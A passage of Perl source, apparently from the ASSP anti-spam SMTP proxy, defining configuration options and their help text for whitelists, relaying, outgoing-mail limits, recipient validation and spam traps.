 'Mail solely from any of these addresses are proxied without processing. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).  Wildcards are supported (fribo*@example.com).'],
['noProcessingDomains','NoProcessing Domains*',60,\&textinput,'sourceforge.net','(.*)','ConfigMakeRe',
 'Domains from which you want to receive all mail and  proxy without processing. Your ISP, domain registration, mail list servers, stock broker, or other key business partners might be good candidates. Note this matches the end of the address, so if you don\'t want to match subdomains then include the @. Note that buy.com would also match spambuy.com but .buy.com won\'t match buy.com. For example: sourceforge.net|@google.com|.buy.com','','1'],
['noNoProcessing','Do not mark these Addresses as Noprocessing*',80,\&textinput,'','(.*)','ConfigMakeSLRe','Enter senders email addresses that you want to be processed, even if they are in noprocessing lists. You can list specific addresses (user@anydomain.com), addresses at any domain (user), or entire domains (@anydomain.com).  Wildcards are supported (fribo*@domain.com).<br />For example: fribo@anydomain.com|jhanna|@sillyguys.org or place them in a plain ASCII file one address per line: \'file:files/nodelayuser.txt\'.'],
['npRe','Regular Expression to Identify NoProcessing Incoming Mails*',60,\&textinput,'','(.*)','ConfigCompileRe',
 'If a message matches this Perl regular expression ASSP will treat the message as a \'NoProcessing\' mail. For example: X-Assp-Version<br /><hr /><div class="menuLevel1">Notes On NoProcessing</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/noprocessing.txt\',3);" />'],


[0,0,0,'heading','Whitelist/Redlist'],
['redRe','Regular Expression to Identify Redlisted Mail*',80,\&textinput,'file:files/redre.txt','(.*)','ConfigCompileRe',
 'If an email matches this Perl regular expression it will be 
considered redlisted.
<br />The Redlist serves several purposes:
<br />1) the Redlist is a list of addresses that cannot contribute to the 
whitelist and which are not considered local even if their mail is 
from a local computer. For example, if someone goes on a vacation and 
turns on their autoresponder, put them on the redlist until 
they return. Then as they reply to every spam they receive they won\'t 
corrupt your non-spam collection or whitelist: \[autoreply\]
<br />2) Redlisted addresses will not be added to the Whitelist.
<br />3) Redlisted messages will not be stored in the 
SPAM/NOTSPAM-collection. 
<br />As all fields marked by * this field accepts 
a list separated by | or a plain ASCII file one address per line: \'file:files/redre.txt\'. '],

['whiteListedIPs','Whitelisted IPs*',80,\&textinput,'','(.*)','ConfigMakeIPRe','They  contribute to the Whitelist and to Notspam. For example: 145.145.145.145|146.145. <span class="positive"> All fields marked by \'*\' accept  a filepath/filename : \'file:files/ipwl.txt\'.</span>','','7'],
['whiteRe','Regular Expression to Identify Non-Spam* ',80,\&textinput,'','(.*)','ConfigCompileRe','If an incoming email matches this Perl regular expression it will be considered non-spam.<br />For example: Secret Ham Password|307\D{0,3}730\D{0,3}4[12]\d\d'],

['whiteListedDomains','Whitelisted Domains and Addresses*',80,\&textinput,'sourceforge.net','(.*)','ConfigMakeRe','Domains and addresses from which you want to receive all mail. Your ISP, domain registration, mail list servers, stock broker, or other key business partners might be good candidates. <span class="negative">Do not to put widely used domains here like hotmail.com.</span> Put popular domains into whiteSenderBase. Note this matches the end of the address, so if you don\'t want to match subdomains then include the @. Note that \'example.com\' would also match \'spamexample.com\' but \'.example.com\' won\'t. Wildcards are supported. For example: sourceforge.net|group*@google.com|.example.com. *You may place them in a plain ASCII file one address per line:\'file:files/whitedomains.txt\'','','9'],



['WhitelistOnly','Reject All But Whitelisted Mail',0,\&checkbox,'','(.*)',undef,'Check this if you want to reject all mail from anyone NOT on the Whitelist ( whitelistdb ) and not marked noprocessing. '],

['WhitelistOnlyAddresses','Reject All But Whitelisted Mail for these Addresses/Domains*',80,\&textinput,'','(.*)','ConfigMakeSLRe','Put here addresses/domains which should only accept whitelisted/noprocessing mail. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). Wildcards are supported (*@domain.com, abuse@*, *@*).  '],

['NoAutoWhite','Only Email-Interface Addition to Whitelist.',0,\&checkbox,'','(.*)',undef,'Check this box to  allow additions to the whitelist by EmailWhitelistAdd only.'],

['NotGreedyWhitelist','Only the envelope-sender is compared to the whitelist',0,\&checkbox,'1','(.*)',undef,'If this option is not set, all addresses in the FROM, SENDER, REPLY-TO, ERRORS-TO, or LIST-* header fields are processed. If this option is set only the envelope \'MAIL FROM\ will be used.'],
['GreedyWhitelistAdditions','How to add Adresses to Whitelist','0:none|1:envelope only|2:all addresses',\&listbox,1,'(.*)',undef,
  'Defines what addresses are added to the whitelist if a message is considered to be from a whitelisted sender. \'all addresses\' means all sender addresses in \'from|sender|reply-to|errors-to|list-\' and all recipient addresses in \'to|cc|bcc\'',undef,undef,'msg008780','msg008781'],
['WhitelistLocalOnly','Only local or authenticated users contribute to the whitelist.',0,\&checkbox,'','(.*)',undef,'Normal operation allows all local, authenticated, or whitelisted users to contribute to the whitelist.<br />Check this box to not allow whitelisted (but not local) users to add to the whitelist.'],
['WhitelistLocalFromOnly','Only local users with a local domain in envelope contribute to the whitelist.',0,\&checkbox,'1','(.*)',undef,'Check this box to prevent a local sender with non-local domain from contributing to the whitelist. (for example: redirected messages).'],
['WhitelistAuth','Whitelist authenticated users.',0,\&checkbox,'','(.*)',undef,'Mails from 
authenticated users will be processed as whitelisted'],
['UpdateWhitelist','Save Whitelist',5,\&textinput,3600,'(.*)','configChangeUpdateWhitelist','Save a copy of the white list every this many seconds. Empty or Zero will prevent any saving.<br /><hr /><div class="menuLevel1">Notes On Whitelist</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/whitelist.txt\',3);" />'],
['MaxWhitelistDays','Max Whitelist Days',5,\&textinput,'999','(\d+)',undef,'This is the number of days an address will be kept on the whitelist without any email to/from this address.'],


['ValidateRWL','Enable Realtime Whitelist Validation',0,\&checkbox,'','(.*)','configUpdateRWL','RWL: Real-time white list. These are lists of IP addresses that have
 somehow been verified to be from a known good host. Senders that pass RWL validation will pass IP-based filters. This requires an installed Net::DNS module in PERL. ',undef,undef,'msg000870','msg000871'],
['RWLwhitelisting','Whitelist all RWL Validated Addresses',0,\&checkbox,'','(.*)',undef,'If set, the message will also pass Bayesian Filter and URIBL.',undef,undef,'msg000880','msg000881'],

['RWLServiceProvider','RWL Service Providers*',80,\&textinput,'list.dnswl.org','(.*)','configUpdateRWLSP','Hostnames of RWLs to use separated by "|".<br />Examples are: list.dnswl.org',undef],
['RWLmaxreplies','Maximum Replies',5,\&textinput,1,'(.*)','configUpdateRWLMR','A reply is affirmative or negative reply from a RWL. The RWL module will wait for this number of replies (negative or positive) from the RWLs listed under Service Provider for up to the Maximum Time below. This number should be equal to or less than the number of RWL Service Providers listed to allow for randomly unavailable RWLs. ',undef],

['RWLminhits','Minimum Hits',5,\&textinput,1,'(.*)','configUpdateRWLMH','A hit is an affirmative response from a RWL. The RWL module will check all of the RWLs listed under Service Provider, and flag the email with a RWL \'pass\' flag if equal to or more than this number of RWLs return a postive whitelisted response. If the number is less but not zero the email is marked \'neutral\'',undef],
['RWLmaxtime','Maximum Time',5,\&textinput,5,'(.*)',undef,'This sets the maximum time to spend on each message performing RWL checks',undef],
['noRWL','Don\'t Validate RWL for these IPs*',80,\&textinput,'','(.*)','ConfigMakeIPRe','Enter IP addresses that you don\'t want to be RWL validated, separated by pipes (|). For example: 145.145.145.145|146.145.',undef,'7'],
['AddRWLHeader','Add X-Assp-Received-RWL Header',0,\&checkbox,1,'(.*)',undef,'Add X-Assp-Received-RWL header to header of all emails processed by RWL.',undef],

['RWLCacheExp','RWL Cache Expiration Time',4,\&textinput,14,'([\d\.]+)','configUpdateRWLCR','IPs in cache will be removed after this interval in days. 0 will disable the cache.  <input type="button" value=" show cache" onclick="javascript:popFileEditor(\'pb/pbdb.rwl.db\',5);" />'],


['RWLLog','Enable RWL logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  '<br /><hr /><div class="menuLevel1">Notes On RWL</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/rwl.txt\',3);" />'],
  
[0,0,0,'heading','Relaying '],
['RelayLog','Enable Relay logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  '<br /><hr /><div class="menuLevel1">Notes On Relaying</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/relaying.txt\',3);" />'],

['acceptAllMail','Accept All Mail*',80,\&textinput,'','(.*)','ConfigMakeIPRe','Relaying is allowed for these IP numbers and Hostnames. They  contribute also to the whitelist. This can take either a directly entered list of IP numbers and Hostnames separated by pipes or a plain ASCII file one address per line: \'file:files/acceptall.txt\'.<br /> An IP range is defined e.g. \'182.82.10.\'. CIDR notation is accepted (182.82.10.0/24). Hyphenated ranges can be used (182.82.10.0-182.82.10.255)','Basic','7'],
['relayHostFile','Relay Host File ',40,\&textinput,'','(.*)',undef,'Similar to  acceptAllMail, but this is a file with an ABSOLUTE path, not relative to base. No IP-blocks supported. For example: /usr/local/assp/relayhosts'],
['localDomains','Local Domains*',80,\&textinput,'file:files/localdomains.txt','(.*)','ConfigMakeRe','Put here are the domain names that your mail system considers local. Separate entries with |  or place them in a plain ASCII file one address per line: \'file:files/localdomains.txt\'. Wildcards are supported.<br /> For example: example.org|*example.com<br />
If ASSP finds no other hint that the domain is local, it  will reject messages to domains not listed here with \'RelayAttempt\'. A successfull DoLDAP, DoVRFY or hit in LocalAddresses_Flat  will put the domain part of the queried address into ldaplistdb and will mark the domain as local.
You can set nolocalDomains to disable this check during setup and testing.
 ', 'Basic'],
['localDomainsFile','Local Domains File',40,\&textinput,'','(.*)',undef,'Similar to localDomains, but with absolute path to the file. Wildcards are not supported. For access to MTA generated files. '],
['DoLocalIMailDomains','Local IMail domains',0,\&checkbox,'','(.*)',undef,
'Consider domains in the IMail registry to be local'],


['nolocalDomains','Skip Local Domain Check',0,\&checkbox,'1','(.*)','ConfigChangeNoDomains','Do not check relaying for invalid domains - let the MTA do it. This can be set to prevent \'RelayAttempt\' errors during setup and testing. <span class="negative">Attention: this will make ASSP an open relay, if the MTA behind it does not reject invalid domains.</span>'],

['relayHost','Relay Host',40,\&textinput,'','(.*)',undef,'Your mail relayhost (smarthost). For example: mail.relayhost.com:25<br />if you run Exchange/Notes and you want assp to update the nonspam database and the whitelist, then enter your smtp relay host here. Blank means no relayhost. ','Basic'],
['relayAuthUser','Username for  Authentication to Relay Host',80,\&textinput,'','(\S*)',undef,'The username used for SMTP AUTH authentication to the relayHost  -  if your ISP need authentication on the SMTP port. Supported authentication methodes are PLAIN, LOGIN, CRAM-MD5 and DIGEST-MD5 . If the relayhost offers multiple methodes, the one with highest security option will be used. The Perl module <a href="http://search.cpan.org/search?query=Authen::SASL" rel="external">Authen::SASL</a> must be installed to use this feature! The usage of this feature will be skipped, if the sending MTA uses the AUTH command. Leave this blank, if you do not want use this feature.','Basic'],
['relayAuthPass','Password for  Authentication to Relay Host',80,\&textinput,'','(\S*)',undef,'The password used for SMTP AUTH authentication to the relayHost. Leave this blank, if you do not want use this feature.','Basic'],
['relayPort','Relay Port',40,\&textinput,'','(.*)','ConfigChangeRelayPort','Tell your mail server to connect to this port as its smarthost/relayhost. For example: 225<br /> Note that you\'ll want to keep the relayPort protected from external access by your firewall.<br />You can supply an interface:port to limit connections.','Basic'],
['allowRelayCon','Allow Relay Connection from these IPs*',80,\&textinput,'','(\S*)','ConfigMakeIPRe','Enter any addresses that are allowed to use the relayPort , separated by pipes (|). If empty, any ip address is allowed to connect to the relayPort. If this option is defined, keep in mind : Addresses defined in acceptAllMail are <b>NOT</b> automaticly included and have to be also defined here, if they should be allowed to use the relayPort. For example: 127.0.0.1|172.16..','Basic','7'],

['ldLDAP','Do LDAP lookup for local domains',0,\&checkbox,'','(.*)',undef,'Check local domains against an LDAP database.<br />Note: Checking this requires filling in LDAP DomainFilter ( ldLDAPFilter ).and NET::LDAP module in Perl.',undef,undef,'msg001080','msg001081'],

['ispip','ISP/Secondary MX Servers*',80,\&textinput,'','(\S*)','ConfigMakeIPRe','Enter any addresses or hostnames that are your ISP or backup MX servers, separated by pipes (|). <br />These addresses will (necessarily) bypass Griplist, IP Limiting, Delaying, PenaltyBox, SPF, DNSBL and SRS checks unless the IP can be determined by ispHostnames (ISP Connecting IP). For example: 145.145.145.145|145.145.145.146.','Basic',7],
['contentOnlyRe', 'Regular Expression to Identify Forwarded Messages*',80,\&textinput,'','(.*)','ConfigCompileRe',
 "Put anything here to identify messages which should bypass all IP based filter like PB, Sender Validation, Griplist, IP Limiting, Delaying, SPF, DNSBL and SRS. For example:  email addresses of people who are forwarding from other accounts to their mailbox on your server."],
['ispHostnames','Regular Expression to Identify ISP/Secondary Hostnames*',80,\&textinput, '','(.*)', 'ConfigCompileRe', 'Hostnames (regular expression) to lookup the IP that connected to the ISP/Secondary server.<br />If found, this address is used to perform IP-based checks on forwarded messages. <br />For example: mx1\.yourisp\.com or mx1\.yourisp\.net|mx2\.yoursecondary\.com . <i>This hostnames are found in the \'Received:\' header, like  \'Received: from ...123.123.123.123... by <span class="positive">mx1.yourisp.com</span>\'</i>. The frontend IP must be listed in ispip. Leave this blank to disable the feature. ',undef,undef,'msg001110','msg001111'],


['send250OKISP','Send 250 OK To ISP/Secondary MX Servers',0,\&checkbox,'1','(.*)',undef,
 'Set this checkbox if you want ASSP to reply to IP numbers in ispip with \'250 OK\' instead of SMTP error code \'554 5.7.1\'. '],




['PopB4SMTPFile','Pop Before SMTP DB File',40,\&textinput,'','(.*)',undef,'Enter the DB database filename of your POP before SMTP implementation with records stored for dotted-quad IP addresses.<br />For example: /etc/mail/popip.db'],
['PopB4SMTPMerak','Pop Before SMTP Merak Style',0,\&checkbox,'','(.*)',undef,'If set Merak 7.5.2 is supported.'],

['NoRelayingStrict','Drop Connection if Relaying Error',0,\&checkbox,'','(.*)',undef,
 'Set this checkbox if you want ASSP to drop the connection immediately after ONE Relaying Error is encountered.'],
 ['removeForeignBCC','Remove Unexpected BCC Recipients',0,\&checkbox,'1','(.*)',undef,
 'Remove foreign bcc: header lines from the mail header'],

['defaultLocalHost','Default Local Domain',40,\&textinput,'assp.local','(.*)',undef,'If you want to be able to send mail to local users without a domain name then put the default local domain here. <br /> Blank disables this feature. For example: assp.local<br /><hr /><div class="menuLevel1">Notes On Relaying</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/relaying.txt\',3);" />'],

[0,0,0,'heading','Control Outgoing '],
['NoExternalSpamProb','No Outgoing X-ASSP Header',0,\&checkbox,1,'(.*)',undef,
'Check this box if you don\'t want X-Assp- headers on outgoing mail.'],
['npLocalRe','Regular Expression to Identify NoProcessing Local Mails*',60,\&textinput,'','(.*)','ConfigCompileRe',
 'If an outging message matches this Perl regular expression ASSP will treat the message as a \'NoProcessing\' mail. For example: autoreply'],
['blockLocalRe','Regular Expression to Identify Blocked Local Mails*',60,\&textinput,'','(.*)','ConfigCompileRe',
 'If an outging message matches this Perl regular expression ASSP will block the message.'],
['LocalFrequencyInt','Local Frequency Interval',40,\&textinput,'0','(.*)',undef,'The time interval in seconds in which the number of envelope recipients per sending address should not exceed a specific number ( LocalFrequencyNumRcpt ).<br >
  Use this in combination with LocalFrequencyNumRcpt to limit the number of recipients in a given interval, to prevent local abuse - for example from highjacked local accounts. A value of 0 (default) will disable this feature and clean the cache within five minutes. To give users the chance to inform an admin about such blocked mails, local mails to EmailAdmins are never blocked because of that feature.<br />
  <input type="button" value="edit local Frequency Cache" onclick="javascript:popFileEditor(\'pb/pbdb.localfreq.db\',5);" />'],
['LocalFrequencyNumRcpt','Local Frequency Recipient Number',40,\&textinput,'0','(.*)',undef,'The number of envelope recipients per sending address that should not be exceeded in a specific time interval ( LocalFrequencyInt ).<br >
  Use this in combination with LocalFrequencyInt to limit the number of recipients in a given interval, to prevent local abuse - for example from highjacked local accounts. A value of 0 (default) will disable this feature and clean the cache within five minutes. To give users the chance to inform an admin about such blocked mails, local mails to EmailAdmins are never blocked because of that feature. <br />
  <input type="button" value="edit local Frequency Cache" onclick="javascript:popFileEditor(\'pb/pbdb.localfreq.db\',5);" />'],
['LocalFrequencyOnly','Check local Frequency for this Users only*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'A list of local addresses, for which the \'local frequency check\' should be done. Leave this field blank (default), to do the check for every address.<br />
  Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com).  Wildcards are supported (fribo*@domain.com).<br />
  For example: fribo*@thisdomain.com|jhanna|@sillyguys.org '],
['NoLocalFrequency','Check local Frequency NOT for this Users*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'A list of local addresses, for which the \'local frequency check\' should not be done. Noprocessing messages will skip this check.<br />
  Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com).  Wildcards are supported (fribo*@domain.com).<br />
  For example: fribo*@thisdomain.com|jhanna|@sillyguys.org '],
 ['DoLocalSenderDomain','Do Local Domain Check for Local Sender',0,\&checkbox,'','(.*)',undef,
  'If activated, each local sender address must have a valid Local Domain - needs localDomains or localDomainsFile or ldLDAP or DoLocalIMailDomains.'],
 ['DoLocalSenderAddress','Do Local Address Check for Local Sender',0,\&checkbox,'','(.*)',undef,
  'If activated, each local sender must have a valid Local Address - needs DoVRFY or DoLDAP or LocalAddresses_Flat.'],
['LocalSender2NULL','Move Local Connection with wrong Sender Address to NULL',0,\&checkbox,'','(.*)',undef,
  'If set, ASSP will move all Local connections where the sender failed DoLocalSenderDomain or DoLocalSenderAddress to a NULL-connection. The sender will receive "250 OK".<br /><hr /><div class="menuLevel1">Notes On Control Outgoing</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/controlout.txt\',3);" />'],

[0,0,0,'heading','Validate Recipients'],
['ValidateUserLog','Enable User Validation logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
['LocalAddresses_Flat','Lookup Local Addresses from Here*',80,\&textinput,'','(.*)','ConfigMakeSLRe','This is an optional list of local addresses for all MTAs behind ASSP. If the address is not found here ASSP will look for other methods of verification (DoLDAP, DoVRFY). If no ASSP-verification is used, the MTA behind ASSP will do it. You can list specific addresses (user@example.com), addresses at any local domain (user), or entire domains (@example.com).  Wildcards are supported (fribo*@example.com). Separate entries with a pipe (|).<br />For example: fribo@example.com|jhanna|@example.org . You may use a plain ASCII file \'file:files/localuser.txt\'.','Basic'],
['LocalAddresses_Flat_Strict','Reject unknown domains',0,\&checkbox,'1','([01]?)',undef,'If set and LocalAddresses_Flat is used all domains must be configured here. If not set, only domains existing in LocalAddresses_Flat will be checked.'],
['LocalAddresses_Flat_Domains','Use Entries without leading \'@\' as Domains',0,\&checkbox,'','([01]?)',undef,'If set entries in LocalAddresses_Flat without leading \'@\' are handled as domains,for example \'example.com\' means an entire domain.'],


['LocalAddressesNP','Do Not Validate Local Addresses if in NoProcessing List',0,\&checkbox,'','(.*)',undef,'If a recipient is found in NoProcessing, the user validation is skipped. '],
['RejectTheseLocalAddresses','Bounce These Local Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
'If ANY recipient is on reject list, the message will not be delivered. Used for disabled legitimate accounts, where a user may have left the company. This stops wildcard mailboxes from getting these messages. You can list specific addresses (user@example.com), addresses at any local domain (user), or entire domains (@example.com).  Wildcards are supported (fribo*@example.com). The field (indicated by the \'*\') accepts a list separated by \'|\' (for example: fribo*@example.com|@example.com|user) or a file designated as follows (path relative to the ASSP directory): \'file:files/filename.txt\'. Putting in the file: will prompt ASSP to put up a button to edit that file. files is the subdirectory for files. The file does not need to exist, you can create it from the editor by saving it. The file must have one entry per line; anything on a line following a numbersign or a semicolon ( #  is ignored (a comment)'],
['BlockLocalAddressesRe','Block Local Recipients Regular Expression*',80,\&textinput,'[%|]','(.*)','ConfigCompileRe',
  'Block all recipient addresses which match this RegEx. Note: if you want to block the pipe char \'|\' it must be masked with the mask character \'\\\' . You may also use metacharacter brackets ([]) for this purpose.'],
['AllowLocalAddressesRe','Allow Local Recipient Addresses Regular Expression*',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Allow only recipient addresses which match this RegEx.'],
['TrapLog','Enable Trap logging','0:nolog|1:standard|2:verbose',\&listbox,0,'(.*)',undef,
  ''],
['spamtrapaddresses','Trap Addresses* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail to any of these addresses will be blocked and the scoring value is added. These addresses are not checked for validity.  Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com).'],
['UseTrapToCollect','Use Penalty Trap Addresses To Collect',0,\&checkbox,'','(.*)',undef,
  'If set ASSP will use spamtrapaddresses to collect spams.',undef,undef,'msg006020','msg006021'],
['SpamTrap2NULL','Move Connection with Trap Addresses to NULL',0,\&checkbox,'1','(.*)',undef,
  'If set, ASSP will move connections with spamtrapaddresses to a NULL-connection. The sender will receive "250 OK".'],
['TrapReply','Trap Reply',80,\&textinput,'550 5.1.1 User unknown: EMAILADDRESS','(.*)',undef,'SMTP reply for trapaddresses. Default: \'550 5.1.1 User unknown: EMAILADDRESS\' <br /> The literal EMAILADDRESS (case sensitive) is replaced by the fully qualified SMTP recipient (e.g., thisuser@example.com). Make this empty if you do not want to be polite.'],

['DoPenaltyMakeTraps','Cache Unknown Addresses','0:disabled|1:use for spamtrapaddresses|2:use for spamaddresses|3:use for validation',\&listbox,2,'(.*)',undef,
  'If enabled, unknown addresses are cached. If set to \'use for spamtrapaddresses\' addresses which reach the limit in PenaltyMakeTraps will be used like spamtrapaddresses. If set to \'use for spamaddresses\'  they will work like spamaddresses. If set to \'use for validation\' all entries regardless of their frequency will be used to validate incoming addresses. Note: LocalAddresses_Flat or DoLDAP or DoVRFY must be enabled.'],
['PenaltyMakeTraps','Unknown Address Frequency  Limit',3,\&textinput,'5','(.*)',undef,
  'Minimum number of times an address must appear during PBTrapCacheExp before it will be used as spamaddress/spamtrapaddress in DoPenaltyMakeTraps.'],
 
['PBTrapCacheExp','Address Cache Expiration',4,\&textinput,24,'(.*)','configUpdateTrapCR',
  'Addresses will be removed after this interval in hours if the frequency in PenaltyMakeTraps is not reached. <input type="button" value=" Show Address Cache" onclick="javascript:popFileEditor(\'pb/pbdb.trap.db\',5);" />'],
['noPenaltyMakeTraps','Exceptionlist for Address Cache*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Addresses which should not be cached. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).  Wildcards are supported (fribo*@example.com).'],
['DoVRFY','Verify Recipients with SMTP-VRFY',0,\&checkbox,'','(.*)',undef,  'If activated and the format \'Domain=>MTA\' is encountered in
 vrfyDomains recipient addresses will be verified with SMTP-VRFY (if  VRFY is not supported \'MAIL FROM:\' and \'RCPT TO:\' will be used).
 If you know that VRFY is not supported with a MTA, you may put the MTA into VRFYforceRCPTTO.', ],
['vrfyDomains','VRFY Domains*',80,\&textinput,'file:files/vrfydomains.txt','(.*)','ConfigMakeRe','Put here the domain names that should be verified with SMTP-VRFY. Separate entries with |  or place them in a plain ASCII file one address per line: \'file:files/vrfydomains.txt\'. 
Use the syntax: *mydomain.com=>smtp.mydomain.com|other.com=>mx.other.com:port to verify the recipient addresses with the SMTP-VRFY (if VRFY is not supported \'MAIL FROM:\' and \'RCPT TO:\' will be used) command on other SMTP servers. The entry behind => must be the hostname:port or ip-address:port of the MTA which is used to verify \'RCPT TO\' addresses with a VRFY command! If :port is not defined, port :25 will be used. You can use an entry like ALL=>vrfyhost:port to define a VRFY host for all entries without the MTA part.  You have to enable the SMTP \'VRFY\' command on your MTA - the \'EXPN\' command should be enabled! This requires an installed <a href="http://search.cpan.org/search?query=Net::SMTP" rel="external">Net::SMTP</a> module in PERL. <br />
 If you have configured LDAP and enabled DoLDAP and ASSP finds a VRFY entry for a domain, LDAP search will be done first and if this fails, the VRFY will be used. So VRFY could be used for LDAP backup/fallback/failover!<br />
 It is recommended to configure \'ldaplistdb\' in the \'File Paths and Database\' section when using this verify extension - so ASSP will store all verified recipients addresses there to minimize the querys on MTA\'s. There is no need to configure LDAP, but both VRFY and LDAP are using ldaplistdb. Please go to the \'LDAP setup\' section to configure MaxLDAPlistDays and LDAPcrossCheckInterval or start a crosscheck now with forceLDAPcrossCheck. This three parameters belong also to VRFY.','Basic',undef,'msg001330','msg001331'],
 
['VRFYQueryTimeOut','SMTP VRFY-Query Timeout',5,\&textinput,'5','(\d\d?)',undef,
 'The number of seconds ASSP will wait for an answer of the MTA that is queryed with the VRFY command to verify a recipient address.'],
['VRFYforceRCPTTO','Force the usage of RCPT TO*',80,\&textinput,'','(.*)','ConfigMakeRe','Define local MTAs here for which you want ASSP to force the usage of \'MAIL FROM:\' and \'RCPT TO:\' instead of the VRFY command. The definition of the MTA(s) has to be exactly the same as already defined in vrfyDomains (after the \'=>\') for example: smtp.mydomain.com|mx.other.com:port|10.1.1.1|10.1.1.2:125 .'],
['DisableVRFY','Disable VRFY for External Clients',0,\&checkbox,'','(.*)',undef,
  'If you have enabled VRFY on your MTA to allow ASSP to verify addresses and you do not want external clients to use VRFY/EXPN - select this option.'],

['MaxVRFYErrors','Maximum recipient verification Errors',5,\&textinput,'5','(\d+)',undef,
  'The maximum number of failed \'RCPT TO\' or \'VRFY\' commands encountered before the connection is dropped. ASSP will drop the connection, if the count of \'550 unknown user\' errors, received from your \'smtpDestination\'(MTA), reached this value!'],
['VRFYFail','VRFY failures return false',20,\&checkbox,'','(.*)',undef,'VRFY failures return false when an error occurs in VRFY lookups.'],
['VRFYLog','Enable VRFY logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['DoMaxDupRcpt','Block Max Duplicate Recipients','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'Block remote servers that uses the same recipient address more times, than the number defined in MaxDupRcpt in the RCPT TO: command. Scoring is done with mdrValencePB . This check is skipped for outgoing, noprocessing, whitelisted and spamlovers mails. If a message has to be delayed, this check will score before the delay if set to block or score - and score and/or block on the next server request.'],
['MaxDupRcpt','Maximum Allowed Duplicate Recipient Addresses',5,\&textinput,'0','(\d+)',undef,
  'The maximum number of duplicate recipient addresses that are allowed in the sequence of the RCPT TO: commands!<br />
  The number per mail is calculated by \'number of RCPT TO: commands  -  number of unique recipient addresses\'.<br />
  For example: if one address is used three times or two addresses are used each two times, will result in the same count - 2. Or if both is the case in one mail, the count will be 4.'],
['ReplaceRecpt','Enable recipient replacement*',80,\&textinput,'','(.*)','configChangeRcptRepl','recommended if used: file:files/rcptreplrules.txt - default empty ! This enables recipient replacement. The replacement will be done before any ASSP check. For a more detailed description of the rules and options, read the file: <input type="button" value=" files/rcptreplrules.txt" onclick="return popFileEditor(\'files/rcptreplrules.txt\',8);" />  <a href=recprepl><img height=12 width=12 src="' . $wikiinfo . '" alt="Recipient Replacement Test" /> Recipient Replacement Test</a>',undef,undef,'msg001470','msg001471'],
['sendAllPostmaster','Catchall Address for Messages to Postmaster',40,\&textinput,'','(.*)',undef,'ASSP will deliver messages addressed to all postmasters of your local domains to this address. For example: postmaster@example.com'],
['sendAllPostmasterNP','Skip Spam Checks for Postmaster Catchall',0,\&checkbox,'','(.*)',undef,''],
['sendAllAbuse','Catchall Address for Messages to Abuse',40,\&textinput,'','(.*)',undef,'ASSP will deliver messages to all abuse addresses of your local domains to this address. For example: abuse@example.com'],
['sendAllAbuseNP','Skip Spam Checks for Abuse Catchall',0,\&checkbox,'','(.*)',undef,''],
['DoRFC822','Validate Recipient Address to Conform with RFC5322 ',0,\&checkbox,1,'(.*)',undef,'If activated, each local address is checked to conform with the email format defined in RFC5322 .<br />This requires an installed Email::Valid module in PERL.'],
['CatchAll','Catchall per Domain*',40,\&textinput,'','(.*)','configUpdateCA','ASSP will send to these addresses if no valid user is found in LocalAddresses_Flat or LDAP. <br />For example: catchall@domain1.com|catchall@domain2.com'],
['CatchallallISP2NULL','Move ISP Connection with wrong Recipient Address to NULL',0,\&checkbox,'','(.*)',undef,
  'If set, ASSP will move all ISP connections with wrong recipient addresses to a NULL-connection. The ISP will receive "250 OK" until the mail has passed, but the mail will not be sent to your MTA. This is done after CatchAll but before CatchAllAll is checked.'],

['CatchAllAll','Catchall for All Domains',40,\&textinput,'','(.*)',undef,'ASSP will send to this address if no valid user is found  in LocalAddresses_Flat or LDAP and no match is found in Catchall per Domain. <br />For example: catchall@example.com'],

['NullAddresses','NULL Connection Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe','ASSP will discard a message silently when encountering such an address in "MAIL FROM:" or "RCPT TO:". Accepts specific addresses (null@example.com), user parts (nobody) or entire domains (@example.com).',undef,undef,'msg001420','msg001421'],

['InternalAddresses','Accept Mail from Local Domains only*',80,\&textinput,'','(.*)','ConfigMakeSLRe','These local addresses do not accept mail externally. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (fribo*@example.com).'],


['SepChar','Separation Character for Subaddressing',2,\&textinput,'+','(.*)',undef,'RFC 3598 describes subaddressing with a Separation Character. A star (\'*\') is not allowed as Separation Character. Everything between Separation Character and @ is ignored (including Separation Character). For Example = \'+\' will allow user+subaddress@example.com.'],
['EnableBangPath','Support Bang Path',0,\&checkbox,'','(.*)',undef,
 'If set, ASSP will support addresses like domainx!user@domainy and will convert them to user@domainx .',undef,undef,'msg001450','msg001451'],

['NoValidRecipient','No-Valid-Local-User Reply',80,\&textinput,'550 5.1.1 User unknown: EMAILADDRESS','([5|2]\d\d .*)',undef,'SMTP reply for invalid Users. Default: \'550 5.1.1 User unknown: EMAILADDRESS\' <br /> The literal EMAILADDRESS (case sensitive) is replaced by the fully qualified SMTP recipient (e.g., thisuser@example.com).<br /><hr /><div class="menuLevel1">Notes On Local Addresses</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/localaddresses.txt\',3);" />'],

[0,0,0,'heading','Validate Helo'],
['useHeloBlacklist','Use the Helo Blacklist','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
